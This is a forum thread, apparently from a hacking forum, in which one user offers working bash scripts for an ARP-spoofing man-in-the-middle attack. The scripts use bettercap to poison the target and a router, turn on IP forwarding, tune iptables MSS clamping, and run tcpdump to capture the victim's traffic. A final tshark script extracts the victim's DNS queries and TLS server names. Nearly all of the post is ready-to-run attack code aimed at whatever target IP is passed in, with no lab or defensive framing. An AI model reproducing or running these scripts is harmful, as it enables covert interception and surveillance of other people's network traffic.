(Jan 9, 2026 08:59 AM)LiNixx Wrote: Have you tried repeatedly sending the poison packets with -r 0?
Maybe you need to increase the amount of packets sent to stop the client or gateway to stop reasserting the mac
do you see alot of RST errors in the pcap? or maybe filtering for these tls.record.content_type == 2
Just things off the top of my head here a little difficult without being there :)
At any rate good luck :)
how can we discuss this ? i am not yet eligable for pm
(Jan 9, 2026 09:03 AM)nypseous Wrote: how can we discuss this ? i am not yet eligable for pm
TARGET=$1
ROUTER=$2
IFACE=$(ip route | grep default | awk '{print $5}' | head -1)
Cleanup old run
sudo ./arp-clean2.sh 2>/dev/null || true
echo "[1/7] IP forwarding + low-latency (Kali tweaks)..."
echo ""
echo 1 | sudo tee /proc/sys/net/ipv4/ip_forward > /dev/null
sudo ethtool -K $IFACE tso off gso off gro off lro off 2>/dev/null
sudo sysctl -w net.ipv4.tcp_low_latency=1 >/dev/null
sudo sysctl -w net.ipv4.tcp_mtu_probing=1 >/dev/null
sudo sysctl -w net.ipv4.tcp_window_scaling=1 >/dev/null
sudo sysctl -w net.ipv6.conf.all.disable_ipv6=1 >/dev/null
sudo sysctl -w net.ipv6.conf.default.disable_ipv6=1 >/dev/null
sudo ifconfig $IFACE mtu 1500 2>/dev/nul
echo "[2/7] Allow all forwarding (fix target drops)..."
echo ""
sudo iptables -P FORWARD ACCEPT
sudo iptables -A FORWARD -p udp --dport 53 -j ACCEPT
sudo iptables -A FORWARD -p tcp --dport 53 -j ACCEPT
echo "[3/7] ARP spoofing (add debug + allow for stability)..."
echo ""
sudo bettercap -iface $IFACE --debug -eval "set arp.spoof.targets $TARGET; set arp.spoof.fullduplex true; set arp.spoof.internal true; set arp.spoof.allow true; arp.spoof on; net.probe on" > /tmp/bettercap.log 2>&1 &
P1=$!
sleep 5
echo "[4/7] MSS clamp (1460 = max safe from your ping)..."
echo ""
sudo iptables -t mangle -F
sudo iptables -t mangle -A FORWARD -p tcp --tcp-flags SYN,RST SYN -j TCPMSS --clamp-mss-to-pmtu # Primary auto-clamp
sudo iptables -t mangle -A POSTROUTING -o $IFACE -p tcp --tcp-flags SYN,RST SYN -j TCPMSS --clamp-mss-to-pmtu
sudo iptables -t mangle -A INPUT -p tcp --tcp-flags SYN,RST SYN -j TCPMSS --set-mss 1420 # Fallback
sudo iptables -t mangle -A OUTPUT -p tcp --tcp-flags SYN,RST SYN -j TCPMSS --set-mss 1420
sudo iptables -t mangle -A FORWARD -p icmp -j ACCEPT
sudo iptables -t mangle -A FORWARD -f -j ACCEPT
echo "[5/7] Full traffic capture..."
echo ""
sudo tcpdump -i $IFACE -s0 -w /tmp/mitm_full.pcap "host $TARGET" > /dev/null 2>&1 &
P2=$!
echo "[6/7] Responses-only capture (for incoming TLS)..."
echo ""
sudo tcpdump -i $IFACE -s0 -w /tmp/mitm_responses.pcap "dst host $TARGET and tcp" > /dev/null 2>&1 &
P3=$!
echo "[7/7] Ready! Check /tmp/bettercap.log for debug."
echo ""
echo "$P1 $P2 $P3" > /tmp/mitm_pids.txt
echo ""
echo "=== MITM ACTIVE (TLS Stable) ==="
echo ""
echo "Target: $TARGET | Router: $ROUTER | IFACE: $IFACE"
echo ""
echo "MSS: 1420 (tuned for WiFi TLS—no more handshake timeouts)"
echo ""
echo "Captures: /tmp/mitm_full.pcap + /tmp/mitm_responses.pcap + /tmp/bettercap.log"
echo ""
echo "Stop: sudo ./arp-clean2.sh"
arp-clean2.sh
sudo pkill -f bettercap
sudo pkill tcpdump
if [ -f /tmp/mitm_pids.txt ]; then
read P1 P2 < /tmp/mitm_pids.txt
sudo kill $P1 $P2 2>/dev/null
rm -f /tmp/mitm_pids.txt
fi
IFACE=$(ip route | grep default | awk '{print $5}' | head -1)
Reset forwarding + tweaks (reverse your additions)
echo 0 | sudo tee /proc/sys/net/ipv4/ip_forward > /dev/null
sudo sysctl -w net.ipv4.tcp_low_latency=0 >/dev/null
sudo sysctl -w net.ipv6.conf.all.disable_ipv6=0 >/dev/null # Re-enable IPv6
sudo sysctl -w net.ipv6.conf.default.disable_ipv6=0 >/dev/null
sudo sysctl -w net.ipv4.tcp_mtu_probing=0 >/dev/null # Reset to default
sudo sysctl -w net.ipv4.tcp_window_scaling=1 >/dev/null # Default is 1
sudo ethtool -K $IFACE tso on gso on gro on lro on 2>/dev/null # Assumes wlan0; adjust if needed
sudo ifconfig $IFACE mtu 1500 # Reset MTU to default
Clean iptables exactly (add DNS deletes)
sudo iptables -D FORWARD -p udp --dport 53 -j ACCEPT 2>/dev/null
sudo iptables -D FORWARD -p tcp --dport 53 -j ACCEPT 2>/dev/null
sudo iptables -t mangle -D FORWARD -p tcp --tcp-flags SYN,RST SYN -j TCPMSS --clamp-mss-to-pmtu 2>/dev/null
sudo iptables -t mangle -D POSTROUTING -o $IFACE -p tcp --tcp-flags SYN,RST SYN -j TCPMSS --clamp-mss-to-pmtu 2>/dev/null
sudo iptables -t mangle -D INPUT -p tcp --tcp-flags SYN,RST SYN -j TCPMSS --set-mss 1420 2>/dev/null
sudo iptables -t mangle -D OUTPUT -p tcp --tcp-flags SYN,RST SYN -j TCPMSS --set-mss 1420 2>/dev/null
sudo iptables -t mangle -D FORWARD -p icmp -j ACCEPT 2>/dev/null
sudo iptables -t mangle -D FORWARD -f -j ACCEPT 2>/dev/null
sudo iptables -P FORWARD ACCEPT
sudo iptables -t mangle -F
echo ""
echo "[✓] MITM stopped + restored."
echo ""
echo "[✓] Execution Data : "
echo ""
TARGET=$1
if [ -f /tmp/mitm_full.pcap ]; then
echo "=== [$] TLS Handshakes ==="
tshark -r /tmp/mitm_full.pcap -Y "tls.handshake.type == 1" \
-T fields -e ip.src -e ip.dst -e tls.handshake.type -e tls.handshake.extensions_server_name | sort -u 2>/dev/null
echo ""
echo "=== [$] DNS Queries ==="
tshark -r /tmp/mitm_full.pcap -Y "dns.qry.name" \
-T fields -e ip.src -e ip.dst -e dns.qry.name | sort -u 2>/dev/null
echo "=== [$] Complete Traffic Information ==="
tshark -r /tmp/mitm_full.pcap -Y "ip.addr == $TARGET" -T fields -e frame.time -e ip.src -e ip.dst -e tcp.srcport -e tcp.dstport -e dns.qry.name | sort -u 2>/dev/null
fi
echo ""
if [ -f /tmp/mitm_responses.pcap ]; then
echo "=== [$] TLS Handshakes (with SNI) ==="
tshark -r /tmp/mitm_responses.pcap -Y "tls.handshake.type == 1" \
-T fields -e ip.src -e ip.dst -e tls.handshake.extensions_server_name | sort -u 2>/dev/null
fi
